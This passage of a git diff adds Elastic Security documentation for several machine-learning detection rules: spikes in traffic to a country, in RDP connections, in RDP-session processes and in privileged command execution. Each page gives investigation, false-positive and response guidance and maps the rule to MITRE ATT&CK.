read the audit rules from. +- For this detection rule no additional audit rules are required. + + +*System Integration Setup* + +The System integration allows you to collect system logs and metrics from your servers with Elastic Agent. + + +*The following steps should be executed in order to add the Elastic Agent System integration "system" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “System” and select the integration to see more details about it. +- Click “Add System”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “system” to an existing or a new agent policy, and deploy the agent on your system from which system log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/system[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-network-traffic-to-a-country.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-network-traffic-to-a-country.asciidoc new file mode 100644 index 0000000000..bfa428b8e7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-network-traffic-to-a-country.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-20-spike-in-network-traffic-to-a-country]] +=== Spike in Network Traffic To a Country + +A machine learning job detected an unusually large spike in network activity to one destination country in the network logs. This could be due to unusually large amounts of reconnaissance or enumeration traffic. Data exfiltration activity may also produce such a surge in traffic to a destination country that does not normally appear in network traffic or business workflows. Malware instances and persistence mechanisms may communicate with command-and-control (C2) infrastructure in their country of origin, which may be an unusual destination country for the source network. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Spike in Network Traffic To a Country* + + +Monitoring network traffic for anomalies is a good methodology for uncovering various potentially suspicious activities. For example, data exfiltration or infected machines may communicate with a command-and-control (C2) server in another country your company doesn't have business with. + +This rule uses a machine learning job to detect a significant spike in the network traffic to a country, which can indicate reconnaissance or enumeration activities, an infected machine being used as a bot in a DDoS attack, or potentially data exfiltration. + + +*Possible investigation steps* + + +- Identify the specifics of the involved assets, such as role, criticality, and associated users. +- Investigate other alerts associated with the involved assets during the past 48 hours. +- Examine the data available and determine the exact users and processes involved in those connections. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Consider the time of day. If the user is a human (not a program or script), did the activity occurs during working hours? +- If this activity is suspicious, contact the account owner and confirm whether they are aware of it. + + +*False positive analysis* + + +- Understand the context of the connections by contacting the asset owners. If this activity is related to a new business process or newly implemented (approved) technology, consider adding exceptions — preferably with a combination of user and source conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. + - Remove and block malicious artifacts identified during triage. +- Consider implementing temporary network border rules to block or alert connections to the target country, if relevant. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Network Packet Capture + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Network Packet Capture Integration Setup* + +The Network Packet Capture integration sniffs network packets on a host and dissects known protocols. Monitoring the network traffic is critical to gaining observability and securing your environment — ensuring high levels of performance and security. The Network Packet Capture integration captures the network traffic between your application servers, decodes common application layer protocols and records the interesting fields for each transaction. + + +*The following steps should be executed in order to add the Elastic Agent System integration "network_traffic" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Network Packet Capture” and select the integration to see more details about it. +- Click “Add Network Packet Capture”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “network_traffic” to an existing or a new agent policy, and deploy the agent on your system from which network log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/network_traffic[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over C2 Channel +** ID: T1041 +** Reference URL: https://attack.mitre.org/techniques/T1041/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Scanning IP Blocks +** ID: T1595.001 +** Reference URL: https://attack.mitre.org/techniques/T1595/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-number-of-connections-made-from-a-source-ip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-number-of-connections-made-from-a-source-ip.asciidoc new file mode 100644 index 0000000000..00f5e39fbb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-number-of-connections-made-from-a-source-ip.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-spike-in-number-of-connections-made-from-a-source-ip]] +=== Spike in Number of Connections Made from a Source IP + +A machine learning job has detected a high count of destination IPs establishing an RDP connection with a single source IP. Once an attacker has gained access to one system, they might attempt to access more in the network in search of valuable assets, data, or further access points. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-12h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/lmd +* https://www.elastic.co/blog/detecting-lateral-movement-activity-a-new-kibana-integration +* https://www.elastic.co/blog/remote-desktop-protocol-connections-elastic-security + +*Tags*: + +* Use Case: Lateral Movement Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Number of Connections Made from a Source IP* + + +Remote Desktop Protocol (RDP) is a common tool for remote management, but adversaries exploit it for lateral movement within networks. By establishing numerous connections from a single IP, attackers seek to expand their access. This detection rule leverages machine learning to identify unusual spikes in RDP connections, signaling potential unauthorized access attempts, and aids in early threat identification. + + +*Possible investigation steps* + + +- Review the source IP address to determine if it is a known or trusted entity within the network. +- Analyze the list of destination IPs to identify any unusual or unauthorized systems being accessed. +- Check the timestamps of the connections to see if they align with expected activity patterns or occur during unusual hours. +- Investigate the user account associated with the RDP connections to verify if it has been compromised or is being misused. +- Correlate the spike in connections with any recent changes or incidents in the network that might explain the activity. +- Examine network logs and RDP session logs for any signs of suspicious behavior or anomalies during the connection attempts. + + +*False positive analysis* + + +- Routine administrative tasks can trigger spikes in RDP connections. Regularly scheduled maintenance or software updates may cause a high number of connections from a single IP. To manage this, identify and whitelist IPs associated with known administrative activities. +- Automated scripts or tools used for network management might establish multiple RDP connections. Review and document these tools, then create exceptions for their IP addresses to prevent false alerts. +- Load balancers or proxy servers can appear as a single source IP making numerous connections. Verify the network architecture and exclude these IPs from the rule to avoid misidentification. +- Security scans or vulnerability assessments conducted by internal teams can result in a spike of connections. Coordinate with security teams to recognize these activities and exclude their IPs from triggering the rule. +- Remote work solutions or VPNs might centralize connections through a single IP, leading to false positives. Identify these IPs and adjust the rule to accommodate legitimate remote access patterns. + + +*Response and remediation* + + +- Isolate the affected system immediately to prevent further lateral movement within the network. Disconnect it from the network or place it in a quarantine VLAN. +- Terminate any unauthorized RDP sessions originating from the identified source IP to halt ongoing unauthorized access attempts. +- Conduct a thorough review of the affected system for signs of compromise, including checking for unauthorized user accounts, changes in system configurations, and the presence of malware or suspicious files. +- Reset credentials for any accounts accessed via the compromised system to prevent further unauthorized access using stolen credentials. +- Implement network segmentation to limit RDP access to only necessary systems and users, reducing the attack surface for lateral movement. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach. +- Update and enhance monitoring rules to detect similar patterns of unusual RDP connection spikes, ensuring early detection of future attempts. + +==== Setup + + + +*Setup* + + +This rule requires the `host.ip` field to be populated. +For **Elastic Defend** events on versions **8.18 and above**, this field is **disabled by default**. + +If you are using **Elastic Defend**, ensure host IP collection is enabled by following the configuration steps in the +https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-data-volume-for-elastic-endpoint#host-fields[helper guide]. + +The rule requires the Lateral Movement Detection integration assets to be installed, as well as file and Windows RDP process events collected by the Elastic Defend integration. + + +*Lateral Movement Detection Setup* + +The Lateral Movement Detection integration detects lateral movement activity by identifying abnormalities in file and Windows RDP events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Lateral Movement Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows RDP process events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. + + +*The following steps should be executed to install assets associated with the Lateral Movement Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Lateral Movement Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-number-of-connections-made-to-a-destination-ip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-number-of-connections-made-to-a-destination-ip.asciidoc new file mode 100644 index 0000000000..26dce3042f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-number-of-connections-made-to-a-destination-ip.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-20-spike-in-number-of-connections-made-to-a-destination-ip]] +=== Spike in Number of Connections Made to a Destination IP + +A machine learning job has detected a high count of source IPs establishing an RDP connection with a single destination IP. Attackers might use multiple compromised systems to attack a target to ensure redundancy in case a source IP gets detected and blocked. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-12h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/lmd +* https://www.elastic.co/blog/detecting-lateral-movement-activity-a-new-kibana-integration +* https://www.elastic.co/blog/remote-desktop-protocol-connections-elastic-security + +*Tags*: + +* Use Case: Lateral Movement Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Number of Connections Made to a Destination IP* + + +Remote Desktop Protocol (RDP) is crucial for remote management and troubleshooting in IT environments. However, adversaries exploit RDP by using multiple compromised IPs to overwhelm a target, ensuring persistence even if some IPs are blocked. The detection rule leverages machine learning to identify unusual spikes in RDP connections to a single IP, signaling potential lateral movement attempts by attackers. + + +*Possible investigation steps* + + +- Review the list of source IPs that have established RDP connections to the destination IP to identify any known malicious or suspicious IP addresses. +- Check historical data for the destination IP to determine if it has been targeted in previous attacks or if it is a high-value asset within the network. +- Analyze the timing and frequency of the RDP connections to identify any unusual patterns or spikes that could indicate coordinated activity. +- Investigate the user accounts associated with the RDP connections to ensure they are legitimate and have not been compromised. +- Correlate the detected activity with any other security alerts or logs to identify potential lateral movement or further exploitation attempts within the network. + + +*False positive analysis* + + +- Routine administrative tasks may trigger false positives if multiple IT staff connect to a server for maintenance. Consider creating exceptions for known administrative IPs. +- Automated scripts or monitoring tools that frequently connect to servers for health checks can cause spikes. Identify and exclude these IPs from the rule. +- Load balancers or proxy servers that aggregate connections from multiple clients might appear as a spike. Exclude these devices from the detection rule. +- Scheduled software updates or deployments that require multiple connections to a server can be mistaken for an attack. Whitelist the IPs involved in these processes. +- Internal network scans or vulnerability assessments conducted by security teams can generate high connection counts. Ensure these activities are recognized and excluded. + + +*Response and remediation* + + +- Immediately isolate the affected destination IP from the network to prevent further unauthorized RDP connections and potential lateral movement. +- Conduct a thorough review of the logs and network traffic associated with the destination IP to identify all source IPs involved in the spike and assess the scope of the compromise. +- Block all identified malicious source IPs at the firewall or network perimeter to prevent further connections to the destination IP. +- Reset credentials and enforce multi-factor authentication for accounts that were accessed via RDP to mitigate unauthorized access. +- Perform a security assessment of the affected systems to identify any signs of compromise or unauthorized changes, and restore systems from clean backups if necessary. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or networks are affected. +- Update and enhance monitoring rules to detect similar patterns of unusual RDP connection spikes in the future, ensuring quick identification and response to potential threats. + +==== Setup + + + +*Setup* + + +This rule requires the `host.ip` field to be populated. +For **Elastic Defend** events on versions **8.18 and above**, this field is **disabled by default**. + +If you are using **Elastic Defend**, ensure host IP collection is enabled by following the configuration steps in the +https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-data-volume-for-elastic-endpoint#host-fields[helper guide]. + +The rule requires the Lateral Movement Detection integration assets to be installed, as well as file and Windows RDP process events collected by the Elastic Defend integration. + + +*Lateral Movement Detection Setup* + +The Lateral Movement Detection integration detects lateral movement activity by identifying abnormalities in file and Windows RDP events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Lateral Movement Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows RDP process events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. + + +*The following steps should be executed to install assets associated with the Lateral Movement Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Lateral Movement Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-number-of-processes-in-an-rdp-session.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-number-of-processes-in-an-rdp-session.asciidoc new file mode 100644 index 0000000000..d6dad5c709 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-number-of-processes-in-an-rdp-session.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-20-spike-in-number-of-processes-in-an-rdp-session]] +=== Spike in Number of Processes in an RDP Session + +A machine learning job has detected unusually high number of processes started in a single RDP session. Executing a large number of processes remotely on other machines can be an indicator of lateral movement activity. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-12h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/lmd +* https://www.elastic.co/blog/detecting-lateral-movement-activity-a-new-kibana-integration +* https://www.elastic.co/blog/remote-desktop-protocol-connections-elastic-security + +*Tags*: + +* Use Case: Lateral Movement Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Number of Processes in an RDP Session* + + +Remote Desktop Protocol (RDP) allows users to connect to other computers over a network, facilitating remote work and administration. However, adversaries can exploit RDP for lateral movement by executing numerous processes on a target machine. The detection rule leverages machine learning to identify anomalies in process activity during RDP sessions, flagging potential exploitation attempts indicative of lateral movement tactics. + + +*Possible investigation steps* + + +- Review the specific RDP session details, including the source and destination IP addresses, to identify the involved machines and users. +- Analyze the list of processes that were started during the RDP session to identify any unusual or suspicious processes that are not typically associated with legitimate remote work activities. +- Check the user account associated with the RDP session for any signs of compromise, such as recent password changes or unusual login times. +- Correlate the detected spike in processes with other security events or logs, such as firewall logs or intrusion detection system alerts, to identify any related suspicious activities. +- Investigate the network traffic between the source and destination machines during the RDP session to detect any anomalies or unauthorized data transfers. +- Review historical data for the involved user and machines to determine if similar spikes in process activity have occurred in the past, which could indicate a pattern of malicious behavior. + + +*False positive analysis* + + +- High-volume automated tasks or scripts executed during RDP sessions can trigger false positives. Identify and document these tasks, then create exceptions in the detection rule to exclude them from analysis. +- Routine administrative activities, such as software updates or system maintenance, may result in a spike in processes. Regularly review and whitelist these activities to prevent unnecessary alerts. +- Scheduled batch jobs or data processing tasks that run during RDP sessions can be mistaken for lateral movement. Ensure these are logged and excluded from the rule's scope by setting up appropriate filters. +- Development or testing environments where multiple processes are frequently started as part of normal operations can lead to false positives. Clearly define these environments and adjust the rule to ignore such sessions. + + +*Response and remediation* + + +- Isolate the affected machine from the network to prevent further lateral movement and contain the threat. +- Terminate any suspicious or unauthorized processes identified during the RDP session to halt potential malicious activity. +- Conduct a thorough review of the affected machine's security logs to identify any additional indicators of compromise or related suspicious activity. +- Reset credentials for any accounts that were used during the suspicious RDP session to prevent unauthorized access. +- Apply security patches and updates to the affected machine and any other vulnerable systems to mitigate exploitation of known vulnerabilities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Enhance monitoring and detection capabilities for RDP sessions by implementing stricter access controls and logging to detect similar anomalies in the future. + +==== Setup + + + +*Setup* + + +This rule requires the `host.ip` field to be populated. +For **Elastic Defend** events on versions **8.18 and above**, this field is **disabled by default**. + +If you are using **Elastic Defend**, ensure host IP collection is enabled by following the configuration steps in the +https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-data-volume-for-elastic-endpoint#host-fields[helper guide]. + +The rule requires the Lateral Movement Detection integration assets to be installed, as well as file and Windows RDP process events collected by the Elastic Defend integration. + + +*Lateral Movement Detection Setup* + +The Lateral Movement Detection integration detects lateral movement activity by identifying abnormalities in file and Windows RDP events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Lateral Movement Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows RDP process events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. + + +*The following steps should be executed to install assets associated with the Lateral Movement Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Lateral Movement Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Remote Desktop Protocol +** ID: T1021.001 +** Reference URL: https://attack.mitre.org/techniques/T1021/001/ +* Technique: +** Name: Exploitation of Remote Services +** ID: T1210 +** Reference URL: https://attack.mitre.org/techniques/T1210/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-privileged-command-execution-by-a-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-privileged-command-execution-by-a-user.asciidoc new file mode 100644 index 0000000000..a376d4a995 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-privileged-command-execution-by-a-user.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-20-spike-in-privileged-command-execution-by-a-user]] +=== Spike in Privileged Command Execution by a User + +A machine learning job has detected an increase in the execution of privileged commands by a user, suggesting potential privileged access activity. This may indicate an attempt by the user to gain unauthorized access to sensitive or restricted parts of the system. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-3h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Privileged Command Execution by a User* + + +Machine learning models are employed to monitor and analyze user behavior, specifically focusing on the execution of privileged commands. These models identify anomalies that may suggest unauthorized access attempts. Adversaries often exploit valid accounts to escalate privileges and access sensitive systems. The detection rule leverages ML to flag unusual spikes in command execution, indicating potential misuse of privileged access. + + +*Possible investigation steps* + + +- Review the specific user account associated with the spike in privileged command execution to determine if the activity aligns with their typical behavior or job role. +- Analyze the timeline of the command execution spike to identify any patterns or specific times when the activity occurred, which may correlate with known maintenance windows or unusual access times. +- Cross-reference the commands executed with known privileged command lists to assess whether the commands are typical for the user's role or indicative of potential misuse. +- Check for any recent changes in the user's access rights or group memberships that might explain the increase in privileged command execution. +- Investigate any recent login activity for the user, including source IP addresses and devices, to identify any anomalies or unauthorized access attempts. +- Review any associated alerts or logs for the same user or system around the time of the spike to gather additional context or corroborating evidence of potential unauthorized access. + + +*False positive analysis* + + +- Routine administrative tasks by IT staff may trigger the rule. To manage this, create exceptions for known maintenance windows or specific user accounts that regularly perform these tasks. +- Automated scripts or scheduled jobs that execute privileged commands can be mistaken for anomalies. Identify and whitelist these scripts or jobs to prevent false alerts. +- Users with newly assigned roles that require elevated privileges might cause a temporary spike in command execution. Monitor these users initially and adjust the model's sensitivity or add exceptions as needed. +- Software updates or installations that require elevated permissions can lead to false positives. Document these events and exclude them from the anomaly detection criteria. +- Training or onboarding sessions where users are learning to use new systems with privileged access can result in increased command execution. Temporarily adjust thresholds or exclude these users during the training period. + + +*Response and remediation* + + +- Immediately isolate the affected user account to prevent further execution of privileged commands. This can be done by disabling the account or changing its password. +- Review recent privileged command execution logs to identify any unauthorized or suspicious activities performed by the user. Focus on commands that could alter system configurations or access sensitive data. +- Conduct a thorough investigation to determine if the user's credentials have been compromised. This may involve checking for signs of phishing attacks or unauthorized access from unusual locations or devices. +- If unauthorized access is confirmed, reset the affected user's credentials and any other accounts that may have been accessed using the compromised credentials. +- Notify the security team and relevant stakeholders about the incident, providing details of the detected anomaly and actions taken so far. +- Implement additional monitoring on the affected systems and user accounts to detect any further suspicious activities or attempts to regain unauthorized access. +- Review and update access controls and permissions to ensure that users have the minimum necessary privileges, reducing the risk of privilege escalation in the future. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Linux logs collected by integrations such as Elastic Defend and Sysmon Linux. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Linux events collected by https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] or https://docs.elastic.co/en/integrations/sysmon_linux[Sysmon Linux] integration. +- To install Elastic Defend, refer to the 